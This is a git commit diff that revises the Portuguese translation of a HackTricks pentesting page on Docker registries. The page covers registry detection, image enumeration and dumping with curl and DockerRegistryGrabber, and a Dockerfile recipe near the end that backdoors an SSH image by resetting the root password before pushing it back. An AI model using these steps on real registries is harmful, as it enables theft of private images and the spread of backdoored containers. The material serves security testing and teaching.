Translated ['network-services-pentesting/5000-pentesting-docker-registry

This commit is contained in:
Translator 2024-03-26 09:10:28 +00:00
parent 6651b28b2b
commit e200b0b036

View file

@ -1,4 +1,4 @@
# 5000 - Testando o Registro do Docker
# 5000 - Testando a segurança do Registro Docker
<details>
@ -6,7 +6,7 @@
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -16,9 +16,9 @@ Outras maneiras de apoiar o HackTricks:
## Informações Básicas
Um sistema de armazenamento e distribuição conhecido como **registro do Docker** está em vigor para imagens do Docker que são nomeadas e podem ter várias versões, diferenciadas por tags. Essas imagens são organizadas dentro de **repositórios do Docker** no registro, cada repositório armazenando várias versões de uma imagem específica. A funcionalidade fornecida permite que as imagens sejam baixadas localmente ou enviadas para o registro, desde que o usuário tenha as permissões necessárias.
Um sistema de armazenamento e distribuição conhecido como **registro Docker** está em vigor para imagens Docker que são nomeadas e podem ter várias versões, diferenciadas por tags. Essas imagens são organizadas dentro de **repositórios Docker** no registro, cada repositório armazenando várias versões de uma imagem específica. A funcionalidade fornecida permite que as imagens sejam baixadas localmente ou enviadas para o registro, desde que o usuário tenha as permissões necessárias.
O **DockerHub** serve como o registro público padrão para o Docker, mas os usuários também têm a opção de operar uma versão local do registro/distribuição do Docker de código aberto ou optar pelo **Docker Trusted Registry** com suporte comercial. Além disso, vários outros registros públicos podem ser encontrados online.
**DockerHub** serve como o registro público padrão para o Docker, mas os usuários também têm a opção de operar uma versão local do registro/distribuição Docker de código aberto ou optar pelo **Docker Trusted Registry** com suporte comercial. Além disso, vários outros registros públicos podem ser encontrados online.
Para baixar uma imagem de um registro local, o seguinte comando é usado:
```bash
@ -40,8 +40,8 @@ A maneira mais fácil de descobrir este serviço em execução é obtê-lo na sa
- Se você acessar `/`, nada será retornado na resposta
- Se você acessar `/v2/`, então `{}` é retornado
- Se você acessar `/v2/_catalog`, você pode obter:
- `{"repositories":["alpine","ubuntu"]}`
- `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
- `{"repositories":["alpine","ubuntu"]}`
- `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
## Enumeração
@ -75,13 +75,61 @@ curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
### Enumeração usando DockerRegistryGrabber
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) é uma ferramenta em python para enumerar / fazer dump do registro do docker (sem autenticação ou com autenticação básica)
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) é uma ferramenta em Python para enumerar / extrair registros do Docker (sem autenticação ou com autenticação básica)
```bash
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
____ ____ ____
| _ \ | _ \ / ___|
| | | || |_) || | _
| |_| || _ < | |_| |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu
positional arguments:
url URL
options:
-h, --help show this help message and exit
-p port port to use (default : 5000)
Authentication:
-U USERNAME Username
-P PASSWORD Password
-A header Authorization bearer token
Actions:
--list
--dump_all
--dump DOCKERNAME DockerName
Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all
python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
@ -100,17 +148,6 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```
### Enumeração usando curl
@ -228,7 +265,7 @@ docker push registry:5000/wordpress #Push it
```
### Instalando um backdoor no servidor SSH image
Suponha que você encontrou um Registro Docker com uma imagem SSH e deseja instalar um backdoor nela.\
Suponha que você encontrou um Registro Docker com uma imagem SSH e deseja instalar um backdoor nele.\
**Baixe** a imagem e **execute**:
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
@ -249,7 +286,7 @@ FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
**Criar** a nova imagem, **verificar** se foi criada e **enviá-la**:
**Criar** a nova imagem, **verificar** se foi criada e **enviar**:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
@ -265,10 +302,10 @@ docker push registry:5000/sshd-docker-cli #Push it
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>